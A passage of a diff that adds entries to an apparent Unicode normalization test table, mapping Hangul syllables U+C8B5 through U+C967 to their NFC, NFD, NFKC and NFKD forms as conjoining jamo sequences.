+{ source: [0xC8B5], NFC: [0xC8B5], NFD: [0x110C, 0x116B, 0x11B4], NFKC: [0xC8B5], NFKD: [0x110C, 0x116B, 0x11B4] },
+{ source: [0xC8B6], NFC: [0xC8B6], NFD: [0x110C, 0x116B, 0x11B5], NFKC: [0xC8B6], NFKD: [0x110C, 0x116B, 0x11B5] },
+{ source: [0xC8B7], NFC: [0xC8B7], NFD: [0x110C, 0x116B, 0x11B6], NFKC: [0xC8B7], NFKD: [0x110C, 0x116B, 0x11B6] },
+{ source: [0xC8B8], NFC: [0xC8B8], NFD: [0x110C, 0x116B, 0x11B7], NFKC: [0xC8B8], NFKD: [0x110C, 0x116B, 0x11B7] },
+{ source: [0xC8B9], NFC: [0xC8B9], NFD: [0x110C, 0x116B, 0x11B8], NFKC: [0xC8B9], NFKD: [0x110C, 0x116B, 0x11B8] },
+{ source: [0xC8BA], NFC: [0xC8BA], NFD: [0x110C, 0x116B, 0x11B9], NFKC: [0xC8BA], NFKD: [0x110C, 0x116B, 0x11B9] },
+{ source: [0xC8BB], NFC: [0xC8BB], NFD: [0x110C, 0x116B, 0x11BA], NFKC: [0xC8BB], NFKD: [0x110C, 0x116B, 0x11BA] },
+{ source: [0xC8BC], NFC: [0xC8BC], NFD: [0x110C, 0x116B, 0x11BB], NFKC: [0xC8BC], NFKD: [0x110C, 0x116B, 0x11BB] },
+{ source: [0xC8BD], NFC: [0xC8BD], NFD: [0x110C, 0x116B, 0x11BC], NFKC: [0xC8BD], NFKD: [0x110C, 0x116B, 0x11BC] },
+{ source: [0xC8BE], NFC: [0xC8BE], NFD: [0x110C, 0x116B, 0x11BD], NFKC: [0xC8BE], NFKD: [0x110C, 0x116B, 0x11BD] },
+{ source: [0xC8BF], NFC: [0xC8BF], NFD: [0x110C, 0x116B, 0x11BE], NFKC: [0xC8BF], NFKD: [0x110C, 0x116B, 0x11BE] },
+{ source: [0xC8C0], NFC: [0xC8C0], NFD: [0x110C, 0x116B, 0x11BF], NFKC: [0xC8C0], NFKD: [0x110C, 0x116B, 0x11BF] },
+{ source: [0xC8C1], NFC: [0xC8C1], NFD: [0x110C, 0x116B, 0x11C0], NFKC: [0xC8C1], NFKD: [0x110C, 0x116B, 0x11C0] },
+{ source: [0xC8C2], NFC: [0xC8C2], NFD: [0x110C, 0x116B, 0x11C1], NFKC: [0xC8C2], NFKD: [0x110C, 0x116B, 0x11C1] },
+{ source: [0xC8C3], NFC: [0xC8C3], NFD: [0x110C, 0x116B, 0x11C2], NFKC: [0xC8C3], NFKD: [0x110C, 0x116B, 0x11C2] },
+{ source: [0xC8C4], NFC: [0xC8C4], NFD: [0x110C, 0x116C], NFKC: [0xC8C4], NFKD: [0x110C, 0x116C] },
+{ source: [0xC8C5], NFC: [0xC8C5], NFD: [0x110C, 0x116C, 0x11A8], NFKC: [0xC8C5], NFKD: [0x110C, 0x116C, 0x11A8] },
+{ source: [0xC8C6], NFC: [0xC8C6], NFD: [0x110C, 0x116C, 0x11A9], NFKC: [0xC8C6], NFKD: [0x110C, 0x116C, 0x11A9] },
+{ source: [0xC8C7], NFC: [0xC8C7], NFD: [0x110C, 0x116C, 0x11AA], NFKC: [0xC8C7], NFKD: [0x110C, 0x116C, 0x11AA] },
+{ source: [0xC8C8], NFC: [0xC8C8], NFD: [0x110C, 0x116C, 0x11AB], NFKC: [0xC8C8], NFKD: [0x110C, 0x116C, 0x11AB] },
+{ source: [0xC8C9], NFC: [0xC8C9], NFD: [0x110C, 0x116C, 0x11AC], NFKC: [0xC8C9], NFKD: [0x110C, 0x116C, 0x11AC] },
+{ source: [0xC8CA], NFC: [0xC8CA], NFD: [0x110C, 0x116C, 0x11AD], NFKC: [0xC8CA], NFKD: [0x110C, 0x116C, 0x11AD] },
+{ source: [0xC8CB], NFC: [0xC8CB], NFD: [0x110C, 0x116C, 0x11AE], NFKC: [0xC8CB], NFKD: [0x110C, 0x116C, 0x11AE] },
+{ source: [0xC8CC], NFC: [0xC8CC], NFD: [0x110C, 0x116C, 0x11AF], NFKC: [0xC8CC], NFKD: [0x110C, 0x116C, 0x11AF] },
+{ source: [0xC8CD], NFC: [0xC8CD], NFD: [0x110C, 0x116C, 0x11B0], NFKC: [0xC8CD], NFKD: [0x110C, 0x116C, 0x11B0] },
+{ source: [0xC8CE], NFC: [0xC8CE], NFD: [0x110C, 0x116C, 0x11B1], NFKC: [0xC8CE], NFKD: [0x110C, 0x116C, 0x11B1] },
+{ source: [0xC8CF], NFC: [0xC8CF], NFD: [0x110C, 0x116C, 0x11B2], NFKC: [0xC8CF], NFKD: [0x110C, 0x116C, 0x11B2] },
+{ source: [0xC8D0], NFC: [0xC8D0], NFD: [0x110C, 0x116C, 0x11B3], NFKC: [0xC8D0], NFKD: [0x110C, 0x116C, 0x11B3] },
+{ source: [0xC8D1], NFC: [0xC8D1], NFD: [0x110C, 0x116C, 0x11B4], NFKC: [0xC8D1], NFKD: [0x110C, 0x116C, 0x11B4] },
+{ source: [0xC8D2], NFC: [0xC8D2], NFD: [0x110C, 0x116C, 0x11B5], NFKC: [0xC8D2], NFKD: [0x110C, 0x116C, 0x11B5] },
+{ source: [0xC8D3], NFC: [0xC8D3], NFD: [0x110C, 0x116C, 0x11B6], NFKC: [0xC8D3], NFKD: [0x110C, 0x116C, 0x11B6] },
+{ source: [0xC8D4], NFC: [0xC8D4], NFD: [0x110C, 0x116C, 0x11B7], NFKC: [0xC8D4], NFKD: [0x110C, 0x116C, 0x11B7] },
+{ source: [0xC8D5], NFC: [0xC8D5], NFD: [0x110C, 0x116C, 0x11B8], NFKC: [0xC8D5], NFKD: [0x110C, 0x116C, 0x11B8] },
+{ source: [0xC8D6], NFC: [0xC8D6], NFD: [0x110C, 0x116C, 0x11B9], NFKC: [0xC8D6], NFKD: [0x110C, 0x116C, 0x11B9] },
+{ source: [0xC8D7], NFC: [0xC8D7], NFD: [0x110C, 0x116C, 0x11BA], NFKC: [0xC8D7], NFKD: [0x110C, 0x116C, 0x11BA] },
+{ source: [0xC8D8], NFC: [0xC8D8], NFD: [0x110C, 0x116C, 0x11BB], NFKC: [0xC8D8], NFKD: [0x110C, 0x116C, 0x11BB] },
+{ source: [0xC8D9], NFC: [0xC8D9], NFD: [0x110C, 0x116C, 0x11BC], NFKC: [0xC8D9], NFKD: [0x110C, 0x116C, 0x11BC] },
+{ source: [0xC8DA], NFC: [0xC8DA], NFD: [0x110C, 0x116C, 0x11BD], NFKC: [0xC8DA], NFKD: [0x110C, 0x116C, 0x11BD] },
+{ source: [0xC8DB], NFC: [0xC8DB], NFD: [0x110C, 0x116C, 0x11BE], NFKC: [0xC8DB], NFKD: [0x110C, 0x116C, 0x11BE] },
+{ source: [0xC8DC], NFC: [0xC8DC], NFD: [0x110C, 0x116C, 0x11BF], NFKC: [0xC8DC], NFKD: [0x110C, 0x116C, 0x11BF] },
+{ source: [0xC8DD], NFC: [0xC8DD], NFD: [0x110C, 0x116C, 0x11C0], NFKC: [0xC8DD], NFKD: [0x110C, 0x116C, 0x11C0] },
+{ source: [0xC8DE], NFC: [0xC8DE], NFD: [0x110C, 0x116C, 0x11C1], NFKC: [0xC8DE], NFKD: [0x110C, 0x116C, 0x11C1] },
+{ source: [0xC8DF], NFC: [0xC8DF], NFD: [0x110C, 0x116C, 0x11C2], NFKC: [0xC8DF], NFKD: [0x110C, 0x116C, 0x11C2] },
+{ source: [0xC8E0], NFC: [0xC8E0], NFD: [0x110C, 0x116D], NFKC: [0xC8E0], NFKD: [0x110C, 0x116D] },
+{ source: [0xC8E1], NFC: [0xC8E1], NFD: [0x110C, 0x116D, 0x11A8], NFKC: [0xC8E1], NFKD: [0x110C, 0x116D, 0x11A8] },
+{ source: [0xC8E2], NFC: [0xC8E2], NFD: [0x110C, 0x116D, 0x11A9], NFKC: [0xC8E2], NFKD: [0x110C, 0x116D, 0x11A9] },
+{ source: [0xC8E3], NFC: [0xC8E3], NFD: [0x110C, 0x116D, 0x11AA], NFKC: [0xC8E3], NFKD: [0x110C, 0x116D, 0x11AA] },
+{ source: [0xC8E4], NFC: [0xC8E4], NFD: [0x110C, 0x116D, 0x11AB], NFKC: [0xC8E4], NFKD: [0x110C, 0x116D, 0x11AB] },
+{ source: [0xC8E5], NFC: [0xC8E5], NFD: [0x110C, 0x116D, 0x11AC], NFKC: [0xC8E5], NFKD: [0x110C, 0x116D, 0x11AC] },
+{ source: [0xC8E6], NFC: [0xC8E6], NFD: [0x110C, 0x116D, 0x11AD], NFKC: [0xC8E6], NFKD: [0x110C, 0x116D, 0x11AD] },
+{ source: [0xC8E7], NFC: [0xC8E7], NFD: [0x110C, 0x116D, 0x11AE], NFKC: [0xC8E7], NFKD: [0x110C, 0x116D, 0x11AE] },
+{ source: [0xC8E8], NFC: [0xC8E8], NFD: [0x110C, 0x116D, 0x11AF], NFKC: [0xC8E8], NFKD: [0x110C, 0x116D, 0x11AF] },
+{ source: [0xC8E9], NFC: [0xC8E9], NFD: [0x110C, 0x116D, 0x11B0], NFKC: [0xC8E9], NFKD: [0x110C, 0x116D, 0x11B0] },
+{ source: [0xC8EA], NFC: [0xC8EA], NFD: [0x110C, 0x116D, 0x11B1], NFKC: [0xC8EA], NFKD: [0x110C, 0x116D, 0x11B1] },
+{ source: [0xC8EB], NFC: [0xC8EB], NFD: [0x110C, 0x116D, 0x11B2], NFKC: [0xC8EB], NFKD: [0x110C, 0x116D, 0x11B2] },
+{ source: [0xC8EC], NFC: [0xC8EC], NFD: [0x110C, 0x116D, 0x11B3], NFKC: [0xC8EC], NFKD: [0x110C, 0x116D, 0x11B3] },
+{ source: [0xC8ED], NFC: [0xC8ED], NFD: [0x110C, 0x116D, 0x11B4], NFKC: [0xC8ED], NFKD: [0x110C, 0x116D, 0x11B4] },
+{ source: [0xC8EE], NFC: [0xC8EE], NFD: [0x110C, 0x116D, 0x11B5], NFKC: [0xC8EE], NFKD: [0x110C, 0x116D, 0x11B5] },
+{ source: [0xC8EF], NFC: [0xC8EF], NFD: [0x110C, 0x116D, 0x11B6], NFKC: [0xC8EF], NFKD: [0x110C, 0x116D, 0x11B6] },
+{ source: [0xC8F0], NFC: [0xC8F0], NFD: [0x110C, 0x116D, 0x11B7], NFKC: [0xC8F0], NFKD: [0x110C, 0x116D, 0x11B7] },
+{ source: [0xC8F1], NFC: [0xC8F1], NFD: [0x110C, 0x116D, 0x11B8], NFKC: [0xC8F1], NFKD: [0x110C, 0x116D, 0x11B8] },
+{ source: [0xC8F2], NFC: [0xC8F2], NFD: [0x110C, 0x116D, 0x11B9], NFKC: [0xC8F2], NFKD: [0x110C, 0x116D, 0x11B9] },
+{ source: [0xC8F3], NFC: [0xC8F3], NFD: [0x110C, 0x116D, 0x11BA], NFKC: [0xC8F3], NFKD: [0x110C, 0x116D, 0x11BA] },
+{ source: [0xC8F4], NFC: [0xC8F4], NFD: [0x110C, 0x116D, 0x11BB], NFKC: [0xC8F4], NFKD: [0x110C, 0x116D, 0x11BB] },
+{ source: [0xC8F5], NFC: [0xC8F5], NFD: [0x110C, 0x116D, 0x11BC], NFKC: [0xC8F5], NFKD: [0x110C, 0x116D, 0x11BC] },
+{ source: [0xC8F6], NFC: [0xC8F6], NFD: [0x110C, 0x116D, 0x11BD], NFKC: [0xC8F6], NFKD: [0x110C, 0x116D, 0x11BD] },
+{ source: [0xC8F7], NFC: [0xC8F7], NFD: [0x110C, 0x116D, 0x11BE], NFKC: [0xC8F7], NFKD: [0x110C, 0x116D, 0x11BE] },
+{ source: [0xC8F8], NFC: [0xC8F8], NFD: [0x110C, 0x116D, 0x11BF], NFKC: [0xC8F8], NFKD: [0x110C, 0x116D, 0x11BF] },
+{ source: [0xC8F9], NFC: [0xC8F9], NFD: [0x110C, 0x116D, 0x11C0], NFKC: [0xC8F9], NFKD: [0x110C, 0x116D, 0x11C0] },
+{ source: [0xC8FA], NFC: [0xC8FA], NFD: [0x110C, 0x116D, 0x11C1], NFKC: [0xC8FA], NFKD: [0x110C, 0x116D, 0x11C1] },
+{ source: [0xC8FB], NFC: [0xC8FB], NFD: [0x110C, 0x116D, 0x11C2], NFKC: [0xC8FB], NFKD: [0x110C, 0x116D, 0x11C2] },
+{ source: [0xC8FC], NFC: [0xC8FC], NFD: [0x110C, 0x116E], NFKC: [0xC8FC], NFKD: [0x110C, 0x116E] },
+{ source: [0xC8FD], NFC: [0xC8FD], NFD: [0x110C, 0x116E, 0x11A8], NFKC: [0xC8FD], NFKD: [0x110C, 0x116E, 0x11A8] },
+{ source: [0xC8FE], NFC: [0xC8FE], NFD: [0x110C, 0x116E, 0x11A9], NFKC: [0xC8FE], NFKD: [0x110C, 0x116E, 0x11A9] },
+{ source: [0xC8FF], NFC: [0xC8FF], NFD: [0x110C, 0x116E, 0x11AA], NFKC: [0xC8FF], NFKD: [0x110C, 0x116E, 0x11AA] },
+{ source: [0xC900], NFC: [0xC900], NFD: [0x110C, 0x116E, 0x11AB], NFKC: [0xC900], NFKD: [0x110C, 0x116E, 0x11AB] },
+{ source: [0xC901], NFC: [0xC901], NFD: [0x110C, 0x116E, 0x11AC], NFKC: [0xC901], NFKD: [0x110C, 0x116E, 0x11AC] },
+{ source: [0xC902], NFC: [0xC902], NFD: [0x110C, 0x116E, 0x11AD], NFKC: [0xC902], NFKD: [0x110C, 0x116E, 0x11AD] },
+{ source: [0xC903], NFC: [0xC903], NFD: [0x110C, 0x116E, 0x11AE], NFKC: [0xC903], NFKD: [0x110C, 0x116E, 0x11AE] },
+{ source: [0xC904], NFC: [0xC904], NFD: [0x110C, 0x116E, 0x11AF], NFKC: [0xC904], NFKD: [0x110C, 0x116E, 0x11AF] },
+{ source: [0xC905], NFC: [0xC905], NFD: [0x110C, 0x116E, 0x11B0], NFKC: [0xC905], NFKD: [0x110C, 0x116E, 0x11B0] },
+{ source: [0xC906], NFC: [0xC906], NFD: [0x110C, 0x116E, 0x11B1], NFKC: [0xC906], NFKD: [0x110C, 0x116E, 0x11B1] },
+{ source: [0xC907], NFC: [0xC907], NFD: [0x110C, 0x116E, 0x11B2], NFKC: [0xC907], NFKD: [0x110C, 0x116E, 0x11B2] },
+{ source: [0xC908], NFC: [0xC908], NFD: [0x110C, 0x116E, 0x11B3], NFKC: [0xC908], NFKD: [0x110C, 0x116E, 0x11B3] },
+{ source: [0xC909], NFC: [0xC909], NFD: [0x110C, 0x116E, 0x11B4], NFKC: [0xC909], NFKD: [0x110C, 0x116E, 0x11B4] },
+{ source: [0xC90A], NFC: [0xC90A], NFD: [0x110C, 0x116E, 0x11B5], NFKC: [0xC90A], NFKD: [0x110C, 0x116E, 0x11B5] },
+{ source: [0xC90B], NFC: [0xC90B], NFD: [0x110C, 0x116E, 0x11B6], NFKC: [0xC90B], NFKD: [0x110C, 0x116E, 0x11B6] },
+{ source: [0xC90C], NFC: [0xC90C], NFD: [0x110C, 0x116E, 0x11B7], NFKC: [0xC90C], NFKD: [0x110C, 0x116E, 0x11B7] },
+{ source: [0xC90D], NFC: [0xC90D], NFD: [0x110C, 0x116E, 0x11B8], NFKC: [0xC90D], NFKD: [0x110C, 0x116E, 0x11B8] },
+{ source: [0xC90E], NFC: [0xC90E], NFD: [0x110C, 0x116E, 0x11B9], NFKC: [0xC90E], NFKD: [0x110C, 0x116E, 0x11B9] },
+{ source: [0xC90F], NFC: [0xC90F], NFD: [0x110C, 0x116E, 0x11BA], NFKC: [0xC90F], NFKD: [0x110C, 0x116E, 0x11BA] },
+{ source: [0xC910], NFC: [0xC910], NFD: [0x110C, 0x116E, 0x11BB], NFKC: [0xC910], NFKD: [0x110C, 0x116E, 0x11BB] },
+{ source: [0xC911], NFC: [0xC911], NFD: [0x110C, 0x116E, 0x11BC], NFKC: [0xC911], NFKD: [0x110C, 0x116E, 0x11BC] },
+{ source: [0xC912], NFC: [0xC912], NFD: [0x110C, 0x116E, 0x11BD], NFKC: [0xC912], NFKD: [0x110C, 0x116E, 0x11BD] },
+{ source: [0xC913], NFC: [0xC913], NFD: [0x110C, 0x116E, 0x11BE], NFKC: [0xC913], NFKD: [0x110C, 0x116E, 0x11BE] },
+{ source: [0xC914], NFC: [0xC914], NFD: [0x110C, 0x116E, 0x11BF], NFKC: [0xC914], NFKD: [0x110C, 0x116E, 0x11BF] },
+{ source: [0xC915], NFC: [0xC915], NFD: [0x110C, 0x116E, 0x11C0], NFKC: [0xC915], NFKD: [0x110C, 0x116E, 0x11C0] },
+{ source: [0xC916], NFC: [0xC916], NFD: [0x110C, 0x116E, 0x11C1], NFKC: [0xC916], NFKD: [0x110C, 0x116E, 0x11C1] },
+{ source: [0xC917], NFC: [0xC917], NFD: [0x110C, 0x116E, 0x11C2], NFKC: [0xC917], NFKD: [0x110C, 0x116E, 0x11C2] },
+{ source: [0xC918], NFC: [0xC918], NFD: [0x110C, 0x116F], NFKC: [0xC918], NFKD: [0x110C, 0x116F] },
+{ source: [0xC919], NFC: [0xC919], NFD: [0x110C, 0x116F, 0x11A8], NFKC: [0xC919], NFKD: [0x110C, 0x116F, 0x11A8] },
+{ source: [0xC91A], NFC: [0xC91A], NFD: [0x110C, 0x116F, 0x11A9], NFKC: [0xC91A], NFKD: [0x110C, 0x116F, 0x11A9] },
+{ source: [0xC91B], NFC: [0xC91B], NFD: [0x110C, 0x116F, 0x11AA], NFKC: [0xC91B], NFKD: [0x110C, 0x116F, 0x11AA] },
+{ source: [0xC91C], NFC: [0xC91C], NFD: [0x110C, 0x116F, 0x11AB], NFKC: [0xC91C], NFKD: [0x110C, 0x116F, 0x11AB] },
+{ source: [0xC91D], NFC: [0xC91D], NFD: [0x110C, 0x116F, 0x11AC], NFKC: [0xC91D], NFKD: [0x110C, 0x116F, 0x11AC] },
+{ source: [0xC91E], NFC: [0xC91E], NFD: [0x110C, 0x116F, 0x11AD], NFKC: [0xC91E], NFKD: [0x110C, 0x116F, 0x11AD] },
+{ source: [0xC91F], NFC: [0xC91F], NFD: [0x110C, 0x116F, 0x11AE], NFKC: [0xC91F], NFKD: [0x110C, 0x116F, 0x11AE] },
+{ source: [0xC920], NFC: [0xC920], NFD: [0x110C, 0x116F, 0x11AF], NFKC: [0xC920], NFKD: [0x110C, 0x116F, 0x11AF] },
+{ source: [0xC921], NFC: [0xC921], NFD: [0x110C, 0x116F, 0x11B0], NFKC: [0xC921], NFKD: [0x110C, 0x116F, 0x11B0] },
+{ source: [0xC922], NFC: [0xC922], NFD: [0x110C, 0x116F, 0x11B1], NFKC: [0xC922], NFKD: [0x110C, 0x116F, 0x11B1] },
+{ source: [0xC923], NFC: [0xC923], NFD: [0x110C, 0x116F, 0x11B2], NFKC: [0xC923], NFKD: [0x110C, 0x116F, 0x11B2] },
+{ source: [0xC924], NFC: [0xC924], NFD: [0x110C, 0x116F, 0x11B3], NFKC: [0xC924], NFKD: [0x110C, 0x116F, 0x11B3] },
+{ source: [0xC925], NFC: [0xC925], NFD: [0x110C, 0x116F, 0x11B4], NFKC: [0xC925], NFKD: [0x110C, 0x116F, 0x11B4] },
+{ source: [0xC926], NFC: [0xC926], NFD: [0x110C, 0x116F, 0x11B5], NFKC: [0xC926], NFKD: [0x110C, 0x116F, 0x11B5] },
+{ source: [0xC927], NFC: [0xC927], NFD: [0x110C, 0x116F, 0x11B6], NFKC: [0xC927], NFKD: [0x110C, 0x116F, 0x11B6] },
+{ source: [0xC928], NFC: [0xC928], NFD: [0x110C, 0x116F, 0x11B7], NFKC: [0xC928], NFKD: [0x110C, 0x116F, 0x11B7] },
+{ source: [0xC929], NFC: [0xC929], NFD: [0x110C, 0x116F, 0x11B8], NFKC: [0xC929], NFKD: [0x110C, 0x116F, 0x11B8] },
+{ source: [0xC92A], NFC: [0xC92A], NFD: [0x110C, 0x116F, 0x11B9], NFKC: [0xC92A], NFKD: [0x110C, 0x116F, 0x11B9] },
+{ source: [0xC92B], NFC: [0xC92B], NFD: [0x110C, 0x116F, 0x11BA], NFKC: [0xC92B], NFKD: [0x110C, 0x116F, 0x11BA] },
+{ source: [0xC92C], NFC: [0xC92C], NFD: [0x110C, 0x116F, 0x11BB], NFKC: [0xC92C], NFKD: [0x110C, 0x116F, 0x11BB] },
+{ source: [0xC92D], NFC: [0xC92D], NFD: [0x110C, 0x116F, 0x11BC], NFKC: [0xC92D], NFKD: [0x110C, 0x116F, 0x11BC] },
+{ source: [0xC92E], NFC: [0xC92E], NFD: [0x110C, 0x116F, 0x11BD], NFKC: [0xC92E], NFKD: [0x110C, 0x116F, 0x11BD] },
+{ source: [0xC92F], NFC: [0xC92F], NFD: [0x110C, 0x116F, 0x11BE], NFKC: [0xC92F], NFKD: [0x110C, 0x116F, 0x11BE] },
+{ source: [0xC930], NFC: [0xC930], NFD: [0x110C, 0x116F, 0x11BF], NFKC: [0xC930], NFKD: [0x110C, 0x116F, 0x11BF] },
+{ source: [0xC931], NFC: [0xC931], NFD: [0x110C, 0x116F, 0x11C0], NFKC: [0xC931], NFKD: [0x110C, 0x116F, 0x11C0] },
+{ source: [0xC932], NFC: [0xC932], NFD: [0x110C, 0x116F, 0x11C1], NFKC: [0xC932], NFKD: [0x110C, 0x116F, 0x11C1] },
+{ source: [0xC933], NFC: [0xC933], NFD: [0x110C, 0x116F, 0x11C2], NFKC: [0xC933], NFKD: [0x110C, 0x116F, 0x11C2] },
+{ source: [0xC934], NFC: [0xC934], NFD: [0x110C, 0x1170], NFKC: [0xC934], NFKD: [0x110C, 0x1170] },
+{ source: [0xC935], NFC: [0xC935], NFD: [0x110C, 0x1170, 0x11A8], NFKC: [0xC935], NFKD: [0x110C, 0x1170, 0x11A8] },
+{ source: [0xC936], NFC: [0xC936], NFD: [0x110C, 0x1170, 0x11A9], NFKC: [0xC936], NFKD: [0x110C, 0x1170, 0x11A9] },
+{ source: [0xC937], NFC: [0xC937], NFD: [0x110C, 0x1170, 0x11AA], NFKC: [0xC937], NFKD: [0x110C, 0x1170, 0x11AA] },
+{ source: [0xC938], NFC: [0xC938], NFD: [0x110C, 0x1170, 0x11AB], NFKC: [0xC938], NFKD: [0x110C, 0x1170, 0x11AB] },
+{ source: [0xC939], NFC: [0xC939], NFD: [0x110C, 0x1170, 0x11AC], NFKC: [0xC939], NFKD: [0x110C, 0x1170, 0x11AC] },
+{ source: [0xC93A], NFC: [0xC93A], NFD: [0x110C, 0x1170, 0x11AD], NFKC: [0xC93A], NFKD: [0x110C, 0x1170, 0x11AD] },
+{ source: [0xC93B], NFC: [0xC93B], NFD: [0x110C, 0x1170, 0x11AE], NFKC: [0xC93B], NFKD: [0x110C, 0x1170, 0x11AE] },
+{ source: [0xC93C], NFC: [0xC93C], NFD: [0x110C, 0x1170, 0x11AF], NFKC: [0xC93C], NFKD: [0x110C, 0x1170, 0x11AF] },
+{ source: [0xC93D], NFC: [0xC93D], NFD: [0x110C, 0x1170, 0x11B0], NFKC: [0xC93D], NFKD: [0x110C, 0x1170, 0x11B0] },
+{ source: [0xC93E], NFC: [0xC93E], NFD: [0x110C, 0x1170, 0x11B1], NFKC: [0xC93E], NFKD: [0x110C, 0x1170, 0x11B1] },
+{ source: [0xC93F], NFC: [0xC93F], NFD: [0x110C, 0x1170, 0x11B2], NFKC: [0xC93F], NFKD: [0x110C, 0x1170, 0x11B2] },
+{ source: [0xC940], NFC: [0xC940], NFD: [0x110C, 0x1170, 0x11B3], NFKC: [0xC940], NFKD: [0x110C, 0x1170, 0x11B3] },
+{ source: [0xC941], NFC: [0xC941], NFD: [0x110C, 0x1170, 0x11B4], NFKC: [0xC941], NFKD: [0x110C, 0x1170, 0x11B4] },
+{ source: [0xC942], NFC: [0xC942], NFD: [0x110C, 0x1170, 0x11B5], NFKC: [0xC942], NFKD: [0x110C, 0x1170, 0x11B5] },
+{ source: [0xC943], NFC: [0xC943], NFD: [0x110C, 0x1170, 0x11B6], NFKC: [0xC943], NFKD: [0x110C, 0x1170, 0x11B6] },
+{ source: [0xC944], NFC: [0xC944], NFD: [0x110C, 0x1170, 0x11B7], NFKC: [0xC944], NFKD: [0x110C, 0x1170, 0x11B7] },
+{ source: [0xC945], NFC: [0xC945], NFD: [0x110C, 0x1170, 0x11B8], NFKC: [0xC945], NFKD: [0x110C, 0x1170, 0x11B8] },
+{ source: [0xC946], NFC: [0xC946], NFD: [0x110C, 0x1170, 0x11B9], NFKC: [0xC946], NFKD: [0x110C, 0x1170, 0x11B9] },
+{ source: [0xC947], NFC: [0xC947], NFD: [0x110C, 0x1170, 0x11BA], NFKC: [0xC947], NFKD: [0x110C, 0x1170, 0x11BA] },
+{ source: [0xC948], NFC: [0xC948], NFD: [0x110C, 0x1170, 0x11BB], NFKC: [0xC948], NFKD: [0x110C, 0x1170, 0x11BB] },
+{ source: [0xC949], NFC: [0xC949], NFD: [0x110C, 0x1170, 0x11BC], NFKC: [0xC949], NFKD: [0x110C, 0x1170, 0x11BC] },
+{ source: [0xC94A], NFC: [0xC94A], NFD: [0x110C, 0x1170, 0x11BD], NFKC: [0xC94A], NFKD: [0x110C, 0x1170, 0x11BD] },
+{ source: [0xC94B], NFC: [0xC94B], NFD: [0x110C, 0x1170, 0x11BE], NFKC: [0xC94B], NFKD: [0x110C, 0x1170, 0x11BE] },
+{ source: [0xC94C], NFC: [0xC94C], NFD: [0x110C, 0x1170, 0x11BF], NFKC: [0xC94C], NFKD: [0x110C, 0x1170, 0x11BF] },
+{ source: [0xC94D], NFC: [0xC94D], NFD: [0x110C, 0x1170, 0x11C0], NFKC: [0xC94D], NFKD: [0x110C, 0x1170, 0x11C0] },
+{ source: [0xC94E], NFC: [0xC94E], NFD: [0x110C, 0x1170, 0x11C1], NFKC: [0xC94E], NFKD: [0x110C, 0x1170, 0x11C1] },
+{ source: [0xC94F], NFC: [0xC94F], NFD: [0x110C, 0x1170, 0x11C2], NFKC: [0xC94F], NFKD: [0x110C, 0x1170, 0x11C2] },
+{ source: [0xC950], NFC: [0xC950], NFD: [0x110C, 0x1171], NFKC: [0xC950], NFKD: [0x110C, 0x1171] },
+{ source: [0xC951], NFC: [0xC951], NFD: [0x110C, 0x1171, 0x11A8], NFKC: [0xC951], NFKD: [0x110C, 0x1171, 0x11A8] },
+{ source: [0xC952], NFC: [0xC952], NFD: [0x110C, 0x1171, 0x11A9], NFKC: [0xC952], NFKD: [0x110C, 0x1171, 0x11A9] },
+{ source: [0xC953], NFC: [0xC953], NFD: [0x110C, 0x1171, 0x11AA], NFKC: [0xC953], NFKD: [0x110C, 0x1171, 0x11AA] },
+{ source: [0xC954], NFC: [0xC954], NFD: [0x110C, 0x1171, 0x11AB], NFKC: [0xC954], NFKD: [0x110C, 0x1171, 0x11AB] },
+{ source: [0xC955], NFC: [0xC955], NFD: [0x110C, 0x1171, 0x11AC], NFKC: [0xC955], NFKD: [0x110C, 0x1171, 0x11AC] },
+{ source: [0xC956], NFC: [0xC956], NFD: [0x110C, 0x1171, 0x11AD], NFKC: [0xC956], NFKD: [0x110C, 0x1171, 0x11AD] },
+{ source: [0xC957], NFC: [0xC957], NFD: [0x110C, 0x1171, 0x11AE], NFKC: [0xC957], NFKD: [0x110C, 0x1171, 0x11AE] },
+{ source: [0xC958], NFC: [0xC958], NFD: [0x110C, 0x1171, 0x11AF], NFKC: [0xC958], NFKD: [0x110C, 0x1171, 0x11AF] },
+{ source: [0xC959], NFC: [0xC959], NFD: [0x110C, 0x1171, 0x11B0], NFKC: [0xC959], NFKD: [0x110C, 0x1171, 0x11B0] },
+{ source: [0xC95A], NFC: [0xC95A], NFD: [0x110C, 0x1171, 0x11B1], NFKC: [0xC95A], NFKD: [0x110C, 0x1171, 0x11B1] },
+{ source: [0xC95B], NFC: [0xC95B], NFD: [0x110C, 0x1171, 0x11B2], NFKC: [0xC95B], NFKD: [0x110C, 0x1171, 0x11B2] },
+{ source: [0xC95C], NFC: [0xC95C], NFD: [0x110C, 0x1171, 0x11B3], NFKC: [0xC95C], NFKD: [0x110C, 0x1171, 0x11B3] },
+{ source: [0xC95D], NFC: [0xC95D], NFD: [0x110C, 0x1171, 0x11B4], NFKC: [0xC95D], NFKD: [0x110C, 0x1171, 0x11B4] },
+{ source: [0xC95E], NFC: [0xC95E], NFD: [0x110C, 0x1171, 0x11B5], NFKC: [0xC95E], NFKD: [0x110C, 0x1171, 0x11B5] },
+{ source: [0xC95F], NFC: [0xC95F], NFD: [0x110C, 0x1171, 0x11B6], NFKC: [0xC95F], NFKD: [0x110C, 0x1171, 0x11B6] },
+{ source: [0xC960], NFC: [0xC960], NFD: [0x110C, 0x1171, 0x11B7], NFKC: [0xC960], NFKD: [0x110C, 0x1171, 0x11B7] },
+{ source: [0xC961], NFC: [0xC961], NFD: [0x110C, 0x1171, 0x11B8], NFKC: [0xC961], NFKD: [0x110C, 0x1171, 0x11B8] },
+{ source: [0xC962], NFC: [0xC962], NFD: [0x110C, 0x1171, 0x11B9], NFKC: [0xC962], NFKD: [0x110C, 0x1171, 0x11B9] },
+{ source: [0xC963], NFC: [0xC963], NFD: [0x110C, 0x1171, 0x11BA], NFKC: [0xC963], NFKD: [0x110C, 0x1171, 0x11BA] },
+{ source: [0xC964], NFC: [0xC964], NFD: [0x110C, 0x1171, 0x11BB], NFKC: [0xC964], NFKD: [0x110C, 0x1171, 0x11BB] },
+{ source: [0xC965], NFC: [0xC965], NFD: [0x110C, 0x1171, 0x11BC], NFKC: [0xC965], NFKD: [0x110C, 0x1171, 0x11BC] },
+{ source: [0xC966], NFC: [0xC966], NFD: [0x110C, 0x1171, 0x11BD], NFKC: [0xC966], NFKD: [0x110C, 0x1171, 0x11BD] },
+{ source: [0xC967], NFC: [0xC967], NFD: [0x110C, 0x1171, 0x11BE], NFKC: [0xC967], NFKD: [0x110C, 0x1171, 0x11BE] },
